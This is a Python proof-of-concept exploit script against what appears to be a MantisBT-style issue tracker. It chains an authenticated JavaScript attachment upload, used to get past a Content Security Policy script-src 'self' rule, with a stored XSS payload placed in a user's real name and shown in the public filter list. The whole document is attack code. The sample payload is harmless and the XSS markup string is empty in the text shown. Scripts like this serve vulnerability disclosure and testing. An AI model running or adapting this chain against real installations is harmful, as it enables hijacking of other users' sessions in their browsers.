import requests import random import string from bs4 import BeautifulSoup RANDOM_STRING_CHARACTER_SET = string.ascii_letters + string.digits class Poc: def __init__(self, baseUrl): self.baseUrl = baseUrl self.ISSUE_CATEGORY_GENERAL_ID = 1 self.ISSUE_PUBLIC_VIEW_STATE = 10 self.CREATE_NEW_ISSUE_CSRF_TOKEN_NAME = 'bug_report_token' self.CREATE_NEW_FILTER_CSRF_TOKEN_NAME = 'query_store_token' self.SHOW_REAL_NAME_OPTION_NAME = 'show_realname' self.CREATE_NEW_ISSUE_PAGE_ENDPOINT = f'{self.baseUrl}/bug_report_page.php' self.CREATE_NEW_ISSUE_ENDPOINT = f'{self.baseUrl}/bug_report.php' self.LOGIN_ENDPOINT = f'{self.baseUrl}/login.php' self.CREATE_NEW_FILTER_PAGE_ENDPOINT = f'{self.baseUrl}/query_store_page.php' self.CREATE_NEW_FILTER_ENDPOINT = f'{self.baseUrl}/query_store.php' self.MANAGE_FILTERS_PAGE_ENDPOINT = f'{self.baseUrl}/manage_filter_page.php' self.REST_GET_MY_USER_INFO_ENDPOINT = f'{self.baseUrl}/api/rest/users/me' self.REST_GET_CONFIG_OPTION_ENDPOINT = f'{self.baseUrl}/api/rest/config' self.REST_GET_ALL_FILTERS_ENDPOINT = f'{self.baseUrl}/api/rest/filters' self.REST_UPDATE_USER_ENDPOINT = f'{self.baseUrl}/api/rest/users/{{user_id}}' @staticmethod def generateRandomString(length): return ''.join(random.choice(RANDOM_STRING_CHARACTER_SET) for _ in range(length)) def login(self, account): data = { 'username': account['username'], 'password': account['password'] } response = account['session'].post(self.LOGIN_ENDPOINT, data=data) response.raise_for_status() def getCurrentUserInfo(self, account): response = account['session'].get(self.REST_GET_MY_USER_INFO_ENDPOINT) response.raise_for_status() return response.json() def getCSRFToken(self, endpoint, account, csrfTokenName): response = account['session'].get(endpoint) response.raise_for_status() soup = BeautifulSoup(response.text, 'html.parser') csrf_token = soup.find('input', {'name': csrfTokenName})['value'] return csrf_token def uploadJavaScriptFile(self, account, filename, payload): files = { 'ufile[0]': (filename, payload, 'application/javascript') } data = { self.CREATE_NEW_ISSUE_CSRF_TOKEN_NAME: self.getCSRFToken(self.CREATE_NEW_ISSUE_PAGE_ENDPOINT, account, self.CREATE_NEW_ISSUE_CSRF_TOKEN_NAME), 'project_id': account['user_info']['projects'][0]['id'], 'category_id': self.ISSUE_CATEGORY_GENERAL_ID, 'summary': 'CSP Bypass PoC', 'description': 'CSP Bypass PoC', 'view_state': self.ISSUE_PUBLIC_VIEW_STATE } response = account['session'].post(self.CREATE_NEW_ISSUE_ENDPOINT, files=files, data=data) response.raise_for_status() soup = BeautifulSoup(response.text, 'html.parser') fileEndpoint = soup.find('a', attrs={'href': lambda x: x and 'file_download.php' in x})['href'] return fileEndpoint def getConfigOption(self, account, optionName): response = account['session'].get(self.REST_GET_CONFIG_OPTION_ENDPOINT, params={'option': optionName}) response.raise_for_status() return response.json()['configs'][0]['value'] def isShowRealNameEnabled(self, account): return self.getConfigOption(account, self.SHOW_REAL_NAME_OPTION_NAME) == 1 def createNewPublicFilter(self, account, filterName): data = { self.CREATE_NEW_FILTER_CSRF_TOKEN_NAME: self.getCSRFToken(self.CREATE_NEW_FILTER_PAGE_ENDPOINT, account, self.CREATE_NEW_FILTER_CSRF_TOKEN_NAME), 'query_name': filterName, 'is_public': 'on', 'all_projects': 'on' } response = account['session'].post(self.CREATE_NEW_FILTER_ENDPOINT, data=data) response.raise_for_status() def updateUserRealName(self, account, userId, realName): data = { 'user': { 'real_name': realName } } response = account['session'].patch(self.REST_UPDATE_USER_ENDPOINT.format(user_id=userId), json=data) response.raise_for_status() def execute(self, accounts): # 1. Log in as a user with at least Manager access level to be able to upload files and create public filters self.login(accounts['manager']) accounts['manager']['user_info'] = self.getCurrentUserInfo(accounts['manager']) print(f'[+] Logged in as {accounts["manager"]["username"]}') # 2. Check if the "show_realname" config option is enabled, as it's required for the exploit to work if not self.isShowRealNameEnabled(accounts['manager']): print(f'[-] The "{self.SHOW_REAL_NAME_OPTION_NAME}" config option is disabled. Please enable it to proceed with the exploit.') return javascriptPayload = ''' #!/usr/bin/env node alert(origin); '''.strip() # 3. Upload the XSS JavaScript file using the manager account for CSP `script-src: 'self'` bypass XSSFileEndpoint = self.uploadJavaScriptFile(accounts['manager'], 'xss.js', javascriptPayload) print(f'[+] Uploaded JavaScript file as {accounts["manager"]["username"]} | File Endpoint: {XSSFileEndpoint}') # 4. Create and save a new public filter randomFilterName = self.generateRandomString(8) self.createNewPublicFilter(accounts['manager'], randomFilterName) print(f'[+] Created new public filter with name: {randomFilterName}') # 5. Update the attacker's real name to the XSS payload with the uploaded JavaScript file endpoint xssPayloadWithFileEndpoint = f'' self.updateUserRealName(accounts['manager'], accounts['manager']['user_info']['id'], xssPayloadWithFileEndpoint) print(f'[+] Updated real name of {accounts["manager"]["username"]} to the XSS payload with the uploaded JavaScript file endpoint') print(f'[+] PoC executed successfully! The XSS payload will be triggered when any user views the owner column of the saved filter with the malicious real name by visiting:\n{self.MANAGE_FILTERS_PAGE_ENDPOINT}') if __name__ == '__main__': baseUrl = 'http://localhost:8080' accounts = { 'manager': { 'username': 'manager', 'password': 'password', 'session': requests.Session() } } poc = Poc(baseUrl) poc.execute(accounts)